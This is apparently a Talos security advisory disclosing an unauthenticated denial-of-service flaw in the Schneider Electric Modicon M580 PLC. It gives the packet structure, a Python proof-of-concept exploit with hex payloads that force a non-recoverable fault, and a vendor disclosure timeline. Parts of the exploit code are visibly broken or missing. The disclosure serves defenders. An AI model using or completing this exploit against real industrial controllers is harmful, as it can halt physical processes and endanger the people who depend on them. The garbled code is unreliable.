Talos Vulnerability Report


Schneider Electric Modicon M580 UMAS write system bits and blocks denial-of-service vulnerability

June 10, 2019
CVE Number



An exploitable denial-of-service vulnerability exists in the UMAS write system bits and blocks functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted set of UMAS commands can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs


CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H


CWE-248: Uncaught Exception


The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as “UMAS.”

When two UMAS write system bits and blocks commands are sent, each followed by a read plc info command, it is possible to make the device enter a non-recoverable fault state, causing a denial-of-service condition.

The structure of a malicious write system bits and blocks command takes a form similar to:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
0 | A | B | C |       D       | E | F |   G   | H |   I   | J | K 
1                         < K continued >

A --> Modbus Function Code      (0x5a)
B --> Session
C --> UMAS Function Code        (0x23)
D --> CRC
E --> Number of values to read  (0x01)
F --> Data Type                 (0x01)
G --> Block                     (0x0010)
H --> Unknown
I --> Base Offset
J --> Relative Offset
K --> Data

In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit proof of concept

import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse
import struct
def send_message(sock, umas, data=None, wait_for_response=True):
    if data == None:
        packet = ModbusADURequest(transId=1)/umas
        packet = ModbusADURequest(transId=1)/umas/data
    msg = "%s" % Raw(packet)
    resp = ""
    if wait_for_response:
        resp = sock.recv(2048)
    return resp
def getPLCInfo(s, wait_for_response=True):
    mbtcp_fnc = "\x5a"
    session   = "\x00"
    umas_fnc  = "\x04"
    umas = "%s%s%s" % (mbtcp_fnc, session, umas_fnc)
    ret = send_message(s, umas, wait_for_response=wait_for_response)
    return ret

def main():
    rhost = ""
    rport = 502
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))
    res = getPLCInfo(s)

    # first write system bits and blocks
    mbtcp_fnc = "\x5a"
    session   = "\x00"
    umas_fnc  = "\x23"
    crc = struct.unpack("<I", res[14:18])[0]
    shifted_crc = crc << 1
    crc = struct.pack("<I", shifted_crc)
    data = "0101100080000000c080f3a0a70000200000".decode('hex')
    umas = "%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, crc, data)
    send_message(s, umas=umas)

    # get plc info 

    # second write system bits and blocks
    data = "010110000000000000000000000000000000".decode('hex')
    umas = "%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, crc, data)
    send_message(s, umas=umas)

    # get plc info 
    getPLCInfo(s, wait_for_response=False)

    # clean up
if __name__ == '__main__':


2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release


Discovered by Jared Rittle of Cisco Talos